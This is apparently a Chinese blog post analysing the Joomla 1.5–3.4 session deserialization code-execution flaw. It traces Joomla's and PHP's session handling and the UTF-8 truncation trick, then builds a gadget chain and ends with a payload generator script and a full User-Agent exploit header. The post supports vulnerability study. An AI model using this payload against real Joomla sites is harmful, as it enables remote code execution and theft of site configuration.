http://cytas.wang/joomlayuan-che ... ng-lou-dong-fen-xi/
Joomla反序列化代码执行漏洞分析
01 January 2016
参考
http://drops.wooyun.org/papers/11330
http://www.php.net/manual/zh/fun ... et-save-handler.php
https://github.com/80vu/phpcodz/blob/master/research/pch-013.md
http://www.freebuf.com/vuls/89754.html
http://bobao.360.cn/learning/detail/2501.html
http://l-ang.ren/AnG/?p=802
exp生成参考
http://sandbox.onlinephpfunction ... ef696d65593f6abdc1f
漏洞分析
首先这个漏洞是经过菊苣们代码审计出来的在joomla 1.5~3.4全版本中的session处理过程中
在用户访问joomla的时候会给每个人生成一个session,然后用户访问成功时将这个session写入数据库
在当用户再次访问的时候如果数据库中是有这个session的话,那么就是直接读出该session。
但是读出过程中处理函数是有问题的,通过不正当的截断会使php将session中的恶意构造出来的代码执行
需求:
php < 5.6.13
joomla <= 3.4
分析:
joomla,自身源码问题:
漏洞存在于 libraries/joomla/session/session.php 中,_validate函数,将ua和xff调用set方法设置到了session中(session.client.browser和 session.client.forwarded)
#!php
protected function _validate($restart = false)
{
...
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}
...
// Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
$browser = $this->get('session.client.browser');
if ($browser === null)
{
$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
}
elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
数据库里面的值:
然后就就是如何控制这个反序列化的字符串因为php自身的源码里面的session处理机制
#define PS_DELIMITER '|'
#define PS_UNDEF_MARKER '!'
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
const char *p, *q;
char *name;
const char *endptr = val + vallen;
zval *current;
int namelen;
int has_value;
php_unserialize_data_t var_hash;
PHP_VAR_UNSERIALIZE_INIT(var_hash);
p = val;
while (p < endptr) {
zval **tmp;
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) goto break_outer_loop;
}
if (p[0] == PS_UNDEF_MARKER) {
p++;
has_value = 0;
} else {
has_value = 1;
}
namelen = q - p;
name = estrndup(p, namelen);
q++;
if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) {
if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table)) || *tmp == PS(http_session_vars)) {
goto skip;
}
}
if (has_value) {
ALLOC_INIT_ZVAL(current);
if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
}
zval_ptr_dtor(¤t);
}
PS_ADD_VARL(name, namelen);
skip:
efree(name);
p = q;
}
break_outer_loop:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return SUCCESS;
}
这里面的处理方式为指针移动判断"|"的位置,获取"|"前面的为session键名,然后通过phpvarunserialize函数反序列化"|"后面的部分,如果解析成功就把值写入session,如果失败就销毁当前变量,然后继续移动指针到下一个"|",继续把"|"前的作为变量,解析"|"后面的值
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450174018;s:18:"session.timer.last";i:1450174018;s:17:"session.timer.now";i:1450174018;s:22:"session.client.browser"
;s:412:"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}
结合joomla漏洞写入进去的session来看
当php解析此段数据的时候,首先获取到"|"前面的数据"__default"为session的键名,然后"|"后面的数据进入反序列化流程php_var_unserialize,反序列化流程的底层关键代码如下:
size_t len, maxlen;
char *str;
len = parse_uiv(start + 2);
maxlen = max - YYCURSOR;
if (maxlen < len) {
*p = start + 2;
return 0;
}
指针依次移动反序列化数据,当解析到如下数据的时候:
······s:412:"}_test|O:21:"JData······
数据经过上面关键代码:
len = parseuiv(start + 2);通过paraseuiv获取412这个值给len;
maxlen = max - YYCURSOR;获取当前指针以后数据的长度,YYCURSOR当前指针指向},即获取的是}test…...的数据长度为408少了4个字符,这少的4个字符为我们的截断字符。
这样,此时if判断成功,进入内部语句,使得反序列化失败返回0,而我们的指针p指向"4".
if (maxlen < len) {
*p = start + 2;
return 0;
}
php_var_unserialize返回0,
if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
}
zval_ptr_dtor(¤t);
efree(name);
p = q;
注销当前变量,p = q;进入下一个循环,继续寻找"|",由于我们的p目前指向的是"4",所以session键名为412:"}__test,"|"后面数据正常反序列化
'412:"}__test' =>object(JDatabaseDriverMysqli)[30]
public 'name' => string 'mysqli' (length=6)protected 'nameQuote' => string '`' (length=1)protected 'nullDate' => string '0000-00-00 00:00:00' (length=19)private '_database' (JDatabaseDriver) => nullprotected 'connection' => boolean trueprotected 'count' => int 0protected 'cursor' => nullprotected 'debug' => boolean falseprotected 'limit' => int 0protected 'log' =>array (size=0)emptyprotected 'timings' =>array (size=0)emptyprotected 'callStacks' =>array (size=0)emptyprotected 'offset' => int 0protected 'options' => nullprotected 'sql' => nullprotected 'tablePrefix' => nullprotected 'utf' => boolean trueprotected 'errorNum' => int 0protected 'errorMsg' => nullprotected 'transactionDepth' => int 0protected 'disconnectHandlers' =>array (size=1)
0 =>array (size=2)
...
public 'fc' =>object(JSimplepieFactory)[31]
php>=5.6.13时解析第一个变量出错就会直接销毁整个session
ALLOC_INIT_ZVAL(current);
if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
} else {
var_push_dtor_no_addref(&var_hash, ¤t);
efree(name);
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return FAILURE;
}
var_push_dtor_no_addref(&var_hash, ¤t);
漏洞利用
第一步:session写入 因为joomla自身源码问题导致的,会将user-agent和x-forworded-for的内容直接写入session并没有过滤写入数据库的时候使用常见的四字截断来保证写入内容的正确性和完整
但还有一个问题,在我们构造好的反序列化字符串后面,还有它原本的内容,必须要截断。而此处并不像SQL注入,还有注释符可用。 不知各位是否还记得当年wordpress出过的一个XSS,当时就是在插入数据库的时候利用"%F0%9D%8C%86"字符将mysql中utf-8 的字段截断了。
这里可以用相同的办法来截断掉后面的数据然后来保证
数据库截断
通过官网介绍“The character set named utf8 uses a maximum of three bytes per character and contains only BMP characters. ”,mysql在使用utf8的时候,一个字符的大小的上限为3字节,而当出现四个字节的字符时,是需要用使用utf8mb4编码,不使用的话,会将不识 别的四字节的字符连同后面的字符串一同舍弃。
详情参见:http://xteam.baidu.com/?p=177
<From wooyun>
因为只能调用joomla自身的php中定义好的类通过序列化的方式往里面传参数让其执行,然后就是构造执行链
第二步:构造执行链 这里因为并不会代码审计所以就是直接参考的phith0n大大的利用
在可以控制反序列化对象以后,我们只需构造一个能够一步步调用的执行链,即可进行一些危险的操作了。 exp构造的执行链,分别利用了如下类:
JDatabaseDriverMysqli
SimplePie
我们可以在JDatabaseDriverMysqli类的析构函数里找到一处敏感操作:
public function __destruct()
{
$this->disconnect();
}
...
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
当exp对象反序列化后,将会成为一个JDatabaseDriverMysqli类对象,不管中间如何执行,最后都将会调用destruct,destruct将会调用disconnect,disconnect里有一处敏感函数:calluserfuncarray。 但很明显,这里的calluserfuncarray的第二个参数,是我们无法控制的。所以不能直接构造assert+eval来执行任意代码。 于是这里再次调用了一个对象:SimplePie类对象,和它的init方法组成一个回调函数[new SimplePie(), 'init'],传入calluserfunc_array。 跟进init方法:
function init()
{
// Check absolute bare minimum requirements.
if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
{
return false;
}
...
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;
if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
很明显,其中这两个calluserfunc将是触发代码执行的元凶。 所以,我将其中第二个calluserfunc的第一个参数cachenamefunction,赋值为assert,第二个参数赋值为我需要执行的代码,就构造好了一个『回调后门』。
参见我自己的麻瓜整理-回调后门
通过这样的方式来执行了我们想执行的代码
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::get();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
echo str_replace("\x00*\x00", '\0\0\0', serialize($a));
这个生成的exp在线网站生成exp
将这个代码生成的exp,以前面提到的注入『|』的变换方式,带入前面提到的user-agent中,即可触发代码执行。 其中,我们需要将char(0)char(0)替换成\0\0\0,因为在序列化的时候,protected类型变量会被转换成\0\0name的样式。
构造的时候遇到一点小麻烦,那就是默认情况下SimplePie是没有定义的,这也是为什么我在调用SimplePie之前先new了一个 JSimplepieFactory的原因,因为JSimplepieFactory对象在加载时会调用import函数将SimplePie导入到当前 工作环境:
而JSimplepieFactory有autoload,所以不再需要其他include来对其进行加载。 给出我最终构造的POC(既是上诉php代码生成的POC):
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"ρhpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ðŒ†
形如这样的格式就是exp了
session反序列化
php函数sessionsetsave_handler() 官方手册介绍如下: 参数 read() read(string $sessionId)
如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。
在自动开始会话或者通过调用 sessionstart() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。 read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。
简而言之,通过sessionsetsavehandler()重写read方法,将返回值反序列化后填入$SESSION
而后面则是session的自动反序列化
public function register()
{
// Use this object as the session handler
session_set_save_handler(
array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
array($this, 'destroy'), array($this, 'gc')
);
}
使用了sessionsetsave_handler函数重写了read()方法 read()方法如下
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('', chr(0) . '*' . chr(0), $result);
return $result;
}
catch (Exception $e)
{
return false;
}
}
read() return后自动进行一次反序列化操作,从而造成了php对象注入
|